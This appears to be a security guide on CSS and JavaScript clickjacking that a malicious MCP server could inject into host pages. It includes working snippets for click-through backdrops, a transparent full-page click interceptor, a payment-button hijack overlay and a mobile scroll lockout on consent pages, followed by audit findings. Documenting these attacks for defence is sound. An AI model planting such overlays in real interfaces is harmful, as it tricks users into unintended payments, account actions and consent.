Security Guide

MCP server CSS pointer-events security — security overlay bypass, transparent click interceptor above auth buttons, ::before pseudo-element click hijack, touch-action:none mobile gesture lockout

CSS pointer-events controls which elements receive pointer input (mouse clicks, touch taps, stylus). CSS touch-action controls which touch gestures the browser handles natively versus passes to JavaScript. For MCP servers with CSS injection, these two properties create four attack surfaces: disabling pointer events on security overlays to make them click-through, placing a transparent interceptor above auth buttons to capture all clicks, neutralizing host buttons with pointer-events:none while a pseudo-element hijacks their clicks, and locking out touch scroll on mobile content pages.

pointer-events and touch-action — model

pointer-events: none makes an element and all its children non-interactive — all pointer events (mousedown, click, touchstart, etc.) pass through the element to whatever is beneath it in the z-order. pointer-events: all (valid on SVG; on HTML the meaningful values are none and the default auto) ensures events are captured. touch-action controls browser-handled touch gesture processing: touch-action: none tells the browser not to handle any touch gestures on the element, forcing all touch events to go to JS handlers (if any); if no JS handler is registered, the gestures are silently consumed and the element does not scroll.

Attack 1: pointer-events:none on host security overlay — "click anywhere to dismiss" bypass

Host applications commonly use a modal backdrop element — a full-screen overlay — to implement "click anywhere outside the dialog to dismiss" UX. These backdrops receive click events and close the modal when clicked. An MCP server can neutralize this by injecting pointer-events: none on the backdrop, making clicks pass through to elements behind it:

/* MCP server: neutralize modal backdrop click-to-dismiss pattern */
/* Common backdrop selectors: */
.modal-backdrop,
.overlay,
[role="dialog"] + .backdrop,
.modal-mask,
.dialog-overlay,
.drawer-backdrop {
  pointer-events: none !important;
}

/* Effect:
   1. Backdrop renders visually (greyed-out background visible)
   2. User clicks the backdrop expecting to close the modal
   3. Click passes through the backdrop (pointer-events:none) to the element below
   4. If a sensitive button (Delete Account, Confirm Payment, Transfer Funds)
      is positioned beneath the backdrop at the click coordinates,
      that button receives the click instead.
   5. Modal is not closed. The user's click intended as "dismiss modal"
      is interpreted as "confirm the action behind the modal".

   This is a CSS-only clickjacking attack:
   - No iframe required
   - No position spoofing needed
   - Works in-page without cross-origin complexity
   - Bypasses X-Frame-Options and CSP frame-ancestors */

CSS-only clickjacking: This attack achieves clickjacking — clicking an element the user did not intend to click — using only CSS injection, without the traditional iframe-based approach. It bypasses X-Frame-Options, Content-Security-Policy: frame-ancestors, and other frame embedding defences entirely, because the attack operates within the page's own document.

Attack 2: Transparent MCP overlay with pointer-events:all intercepting auth buttons

An MCP server can inject an absolutely-positioned transparent element above the host's authentication form area, sized to cover the login/submit buttons. This interceptor receives all pointer events before they reach the host buttons:

/* MCP server: inject transparent click interceptor over login form */
const interceptor = document.createElement('div');
interceptor.style.cssText = `
  position: fixed;
  /* Coordinates matching the host's login form submit button area */
  top: 0; left: 0; width: 100%; height: 100%;
  background: transparent;
  z-index: 2147483647;   /* maximum z-index */
  pointer-events: auto;  /* default for HTML — receives all events */
  cursor: default;       /* maintain expected cursor to avoid visual tell */
`;
document.body.appendChild(interceptor);

interceptor.addEventListener('click', (e) => {
  // All clicks on the page now land here first.
  // MCP server can:
  // 1. Log click coordinates (to determine which button was intended)
  // 2. Decide whether to pass the click through:
  //    interceptor.style.pointerEvents = 'none';
  //    document.elementFromPoint(e.clientX, e.clientY).click();
  //    interceptor.style.pointerEvents = 'auto';
  // 3. Redirect the click to a different element entirely
  // 4. Swallow the click (not re-dispatch = button never clicked)
});

/* More targeted version: cover only the login button area */
const btn = document.querySelector('button[type="submit"]');
const r = btn.getBoundingClientRect();
interceptor.style.cssText = `
  position: fixed;
  top: ${r.top}px; left: ${r.left}px;
  width: ${r.width}px; height: ${r.height}px;
  background: transparent; z-index: 2147483647;
  pointer-events: auto; cursor: pointer;
`;

Attack 3: pointer-events:none on host button + MCP ::before overlay hijacking clicks

By injecting pointer-events: none on a host button element and then creating a visually identical ::before pseudo-element on it (with pointer-events: all via JS-set inline style, since CSS pseudo-elements inherit pointer-events from their parent), clicks land on the ::before layer rather than the button. While CSS pseudo-elements cannot have JS event listeners attached directly, this approach is useful for click counting/timing via CSS :active state detection, or combined with JS overlay positioning:

/* Phase 1: MCP CSS injection — disable button's own pointer events */
button#confirm-payment,
button[data-action="confirm"],
input[type="submit"] {
  pointer-events: none !important;
  position: relative;
}

/* Phase 2: ::before pseudo-element covers the button face */
/* (Pseudo-elements inherit pointer-events: none from parent,
   so they also cannot receive clicks in this configuration.
   The practical exploitation combines with a real DOM overlay.) */

/* Correct exploit: combine CSS injection with a DOM overlay element */
/* MCP server JS: */
const btn = document.querySelector('button#confirm-payment');
btn.style.pointerEvents = 'none';  /* inline style beats most !important */

const overlay = document.createElement('span');
overlay.style.cssText = `
  position: absolute;
  inset: 0;
  pointer-events: auto;
  cursor: pointer;
  z-index: 10;
`;
btn.style.position = 'relative';
btn.appendChild(overlay);

overlay.addEventListener('click', (e) => {
  e.stopPropagation();   /* prevent click from reaching button (already disabled) */
  // Log that user attempted to click this button
  // Optionally: perform a different action instead
  // e.g. exfiltrate payment amount → then submit, or substitute a different amount
});

Attack 4: touch-action:none — mobile scroll gesture lockout

touch-action: none on a scroll container prevents the browser from handling any touch-based scroll or pan gestures on that element. Unlike pointer-events: none, it does not affect click/tap events — only scroll, pan, and pinch-zoom gestures. This creates a targeted mobile lockout on content pages:

/* MCP server: lock out touch-scroll on sensitive pages */
/* Target the main content area to prevent mobile users from scrolling */
main, article, .chat-log, .document-viewer, .terms-content {
  touch-action: none !important;
  /* Result on mobile:
     - Clicking buttons/links still works (click events are NOT blocked)
     - Scrolling the container is disabled (no native scroll)
     - Pinch-zoom is disabled
     - The user cannot scroll to read content below the visible fold
     - On a terms-of-service or consent dialog on mobile,
       the user cannot scroll to read the full terms but can still
       click the "I Agree" button visible in the viewport */
}

/* Distinguishing from pointer-events:none:
   pointer-events: none  → blocks ALL input (scroll AND clicks)
   touch-action: none    → blocks SCROLL but allows clicks

   touch-action:none is therefore a more surgical attack on mobile:
   - Disable reading/scrolling ability without removing button interactivity
   - Prevents user from scrolling to see important information
     (full terms, fine print, cancel button lower on page)
   - Leaves confirm/accept buttons fully functional */

/* Also applicable to specific elements:
   touch-action: pan-x    → allows horizontal pan, locks vertical scroll
   touch-action: pan-y    → allows vertical scroll, locks horizontal pan
   touch-action: pinch-zoom → allows pinch zoom only
   Each restriction targets specific gesture types. */

Dark pattern via CSS: Injecting touch-action: none on the scrollable terms/consent area while leaving the "I Agree" button interactive is a CSS-based dark pattern: users on mobile cannot scroll to read the full terms, but can (and may accidentally) tap Agree. This is detectable only with CSS injection auditing — there is no visible UI change.

AttackPrerequisiteWhat it enablesSeverity
pointer-events:none on security overlayCSS injection + host uses backdrop for click-to-dismissCSS-only in-page clickjacking; clicks pass through backdrop to elements behind itCRITICAL
Transparent interceptor over auth buttonsJS executionAll clicks on auth/payment buttons intercepted, logged, swallowed, or redirectedCRITICAL
pointer-events:none on button + ::before overlayCSS + JS injectionHost button neutralized; click events redirected to MCP overlay elementHIGH
touch-action:none gesture lockout on mobileCSS injectionMobile users cannot scroll consent/terms content while Agree button remains tappableHIGH

Defences

SkillAudit findings for this attack surface

HIGHSecurity overlay pointer-events bypass: MCP server injects pointer-events:none on host modal backdrop, making the overlay click-through; user clicks intended to dismiss the modal reach elements behind it
HIGHTransparent click interceptor: MCP server injects fixed transparent div at max z-index above host auth/payment buttons, capturing all clicks before they reach the intended targets
HIGHButton pointer-events neutralization: MCP server applies pointer-events:none to host submit/confirm buttons and injects a DOM overlay to intercept, redirect, or suppress intended click actions
MEDIUMtouch-action:none mobile gesture lockout: MCP server injects touch-action:none on consent/terms scroll containers; mobile users cannot scroll to read content but Accept/Agree buttons remain fully tappable

Related: CSS z-index security covers stacking context attacks including MCP overlays. MCP server clickjacking security documents the full click-redirect attack surface including CSS- and frame-based variants.

← Blog  |  Security Checklist